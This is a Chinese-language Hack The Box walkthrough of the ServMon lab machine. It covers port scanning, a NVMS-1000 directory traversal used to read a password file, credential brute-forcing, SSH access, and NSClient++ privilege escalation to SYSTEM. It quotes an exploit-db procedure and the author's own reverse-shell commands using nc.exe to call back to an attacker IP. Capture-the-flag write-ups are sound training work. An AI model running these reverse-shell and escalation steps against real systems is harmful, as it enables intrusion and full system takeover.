zoukankan      html  css  js  c++  java
  • Hack The Box——ServMon

    目录

    简介

    信息收集

    漏洞发现

    漏洞利用

    权限提升

    总结


    简介

    这台靶机也是比较简单,但是网络环境很不好,8443端口都网页加载的特别慢,会影响渗透体验。该靶机通过ftp获取到泄漏的信息,利用目录遍历漏洞获取到密码明文,通过枚举获得ssh用户名和密码,最后利用NSClient++提升至system权限。

    信息收集

    使用nmap -A --max-rate 10000 -T5 -sC 10.10.10.184扫描目标主机开放的端口和运行的服务,发现开启了21,22,80,135,139,445等端口,如图:

    FTP服务运行匿名用户登录,查看FTP目录发现存在Users目录,查看目录下的文件发现密码信息(目前不清楚是什么服务的密码)存储在Nathan桌面的Passwords.txt中,Nathan还有三项安全措施未完成,如图:

    从上图可以看出密码还未上传,说明在Nathan的桌面下依然存在Passwords.txt,还未移除公共用户对NVMS的访问,未在SharePoint中放置机密文件。

    访问80端口Web服务,发现是NVMS登录入口,需要用户名和密码,默认密码已被修改。使用Google搜索发现NVMS-1000存在目录遍历漏洞(CVE-2019-20085)。

    使用smbmap枚举共享文件未成功,使用enum4linux枚举目标主机信息未发现有用信息。搜索5666和6699端口已知漏洞,但对该靶机无效,访问8443端口发现NSClient++页面。

    使用searchsploit搜索NSClient++相关漏洞,发现存在RCE和权限提升漏洞,如图:

    漏洞发现

    在exploit-db找到NVMS-1000目录遍历漏洞的poc,测试发现存在该漏洞,如图:

    漏洞利用

    然后读取Nathan桌面下的密码文件,如图:

    生成用户名字典文件user.txt:

    administrator
    admin
    guest
    nathan
    nadine

    然后将密码保存到文件passwd.txt。使用hydra枚举用户和密码未成功,使用SMBrute也无法枚举成功。然后使用metasploit枚举成功获得用户名nadine的密码,如图:

    再次使用smbmap和smbclient枚举共享文件夹,仍没有收获。然后尝试使用该用户名和密码登录ssh,成功获得用户shell,如图:

    可以发现操作系统是Windows 10。

    权限提升

    使用systeminfo命令查看系统信息,发现没有权限执行该命令。暂时先不考虑内核提权了,从前面收集到的信息发现NSClient++存在提权漏洞。查看漏洞信息/usr/share/exploitdb/exploits/windows/local/46802.txt,发现利用漏洞需要如下7步:

    Exploit:
    1. Grab web administrator password
    - open c:program files
    sclient++
    sclient.ini
    or
    - run the following that is instructed when you select forget password
    	C:Program FilesNSClient++>nscp web -- password --display
    	Current password: SoSecret
    
    2. Login and enable following modules including enable at startup and save configuration
    - CheckExternalScripts
    - Scheduler
    
    3. Download nc.exe and evil.bat to c:	emp from attacking machine
    	@echo off
    	c:	emp
    c.exe 192.168.0.163 443 -e cmd.exe
    
    4. Setup listener on attacking machine
    	nc -nlvvp 443
    
    5. Add script foobar to call evil.bat and save settings
    - Settings > External Scripts > Scripts
    - Add New
    	- foobar
    		command = c:	empevil.bat
    
    6. Add schedulede to call script every 1 minute and save settings
    - Settings > Scheduler > Schedules
    - Add new
    	- foobar
    		interval = 1m
    		command = foobar
    
    7. Restart the computer and wait for the reverse shell on attacking machine
    	nc -nlvvp 443
    	listening on [any] 443 ...
    	connect to [192.168.0.163] from (UNKNOWN) [192.168.0.117] 49671
    	Microsoft Windows [Version 10.0.17134.753]
    	(c) 2018 Microsoft Corporation. All rights reserved.
    
    	C:Program FilesNSClient++>whoami
    	whoami
    	nt authoritysystem

    首先执行第一步:获取web administrator密码,ew2x6SsGTxjRwXOT,如图:

    然后执行第二步,打开https://10.10.10.184:8443,然后登录,如图:

    显示不允许登录,后来才发现配置文件中密码下边有允许的主机是127.0.0.1,看来需要将端口转发到本地,直接使用ssh -L 8443:127.0.0.1:8443 nadine@10.10.10.184将端口转发到本地,然后登录成功,如图:

    然后启用CheckExternalScripts和Scheduler模块,如图:

    接着执行第三步,将nc.exe和恶意bat文件上传到目标主机,bat文件为使用nc反弹shell的cmd命令:c:/temp/nc.exe 10.10.14.45 443 -e cmd,如图:

    然后执行第四步,再本地开启443端口的监听,接着执行第五步,添加外部脚本,如图:

    点击Add之后需要点击Changes-->Save configuration继续执行第六步,如图:

    同样添加之后保存。然后点击Control-->Reload,等待一会即可得到system权限的shell,如图:

    总结

    靶机本身并不难,但是HTB的靶机的通病就是网络环境太差。老是不稳定,而且玩家很多,有些恶意玩家会停止8443端口的服务,所以很烦。

  • 相关阅读:
    C#中Invoke的用法(转)
    C#中Thread.IsBackground 属性
    127.0.0.1是什么地址?
    C# Socket服务器端如何判断客户端断开求解
    C#中线程间操作无效: 从不是创建控件 txtBOX 的线程访问它。
    C#多线程学习之如何操纵一个线程
    利用TCP协议,实现基于Socket的小聊天程序(初级版)
    进程与线程的一个简单解释
    javascript修改css样式表
    html根据下拉框选中的值修改背景颜色
  • 原文地址:https://www.cnblogs.com/hzcya1995/p/13302342.html
Copyright © 2011-2022 走看看